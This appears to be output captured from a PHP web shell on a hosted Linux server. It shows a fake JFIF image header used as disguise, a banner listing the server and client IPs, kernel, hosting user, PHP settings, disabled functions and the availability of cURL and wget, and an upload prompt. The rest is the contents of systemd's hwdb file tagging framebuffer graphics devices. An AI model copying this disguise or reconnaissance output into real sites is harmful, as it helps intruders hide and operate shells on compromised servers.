���� JFIF aewtgwgerwasdasd
Server IP : 147.93.80.58 / Your IP : 216.73.216.195 Web Server : LiteSpeed System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64 User : u939086737 ( 939086737) PHP Version : 8.2.28 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /usr/lib/udev/hwdb.d/ |
Upload File : |
# This file is part of systemd. # # This file lists graphic devices that don't have a DRM driver and fall back to # a frame-buffer one instead. Since commit 6260d28b8a, frame-buffer devices are # no more considered as graphical capable. # # The matches have the 'fb' prefix to make sure that only the framebuffer # device, and not the (parent) PCI device, is tagged with 'master-of-seat'. # # Allowed properties are: # ID_TAG_MASTER_OF_SEAT=1 ######################################### # eXtreme Graphic Innovation (XGI) ######################################### # Z7/Z9 (XG20 core), a rather ancient graphic chip, doesn't have a DRM driver # and falls back to vesafb. fb:pci:v000018CAd00000020* ID_TAG_MASTER_OF_SEAT=1 ######################################### # HyperV ######################################### # HyperV currently doesn't do DRM, hence we need to synthesize for HyperV's fb # device instead. fb:pci:v00001414d00005353* ID_TAG_MASTER_OF_SEAT=1 # In some HyperV VMs, the video device only can be recognized by a vmbus id. # So we should add a vmbus id for HyperV Video device. # # This id is extracted from Linux kernel's hyperv.h fb:vmbus:02780ada77e3ac4a8e770558eb1073f8 ID_TAG_MASTER_OF_SEAT=1 ######################################### # Parallels ######################################### fb:pci:v00001ab8d00004005* ID_TAG_MASTER_OF_SEAT=1